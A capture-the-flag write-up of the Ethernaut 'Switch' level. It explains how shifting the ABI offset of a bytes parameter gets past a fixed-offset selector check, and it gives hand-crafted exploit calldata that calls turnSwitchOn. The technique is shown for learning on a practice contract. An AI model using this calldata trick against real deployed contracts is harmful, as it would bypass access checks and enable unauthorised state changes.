Writeups/Ethernaut/Switch
HardEthernaut · Ethernaut2024

Switch

Calldata Offset Manipulation Bypasses Selector Check

The `flipSwitch()` function checks that bytes at a fixed calldata offset match the `turnSwitchOff` selector. By manipulating the ABI encoding offset for the `bytes` parameter, the selector check can be satisfied while the actual decoded calldata points to `turnSwitchOn`.

SolidityCalldataABI EncodingSelector Check

00Overview

The `flipSwitch()` function checks that bytes at a fixed calldata offset match the `turnSwitchOff` selector. By manipulating the ABI encoding offset for the `bytes` parameter, the selector check can be satisfied while the actual decoded calldata points to `turnSwitchOn`.

01Craft malicious calldata manually

The offset for the bytes parameter is moved so the selector check reads `turnSwitchOff` while the actual data encodes `turnSwitchOn`.

javascript
const calldata = '0x30c13ade'                       // flipSwitch selector
  + '0000000000000000000000000000000000000000000000000000000000000060'  // offset = 96 (not 32)
  + '0000000000000000000000000000000000000000000000000000000000000000'
  + '20606e1500000000000000000000000000000000000000000000000000000000'  // turnSwitchOff at offset check
  + '0000000000000000000000000000000000000000000000000000000000000004'
  + '76227e1200000000000000000000000000000000000000000000000000000000' // turnSwitchOn actual call

02Level Completed

Switch — completion screenshot 1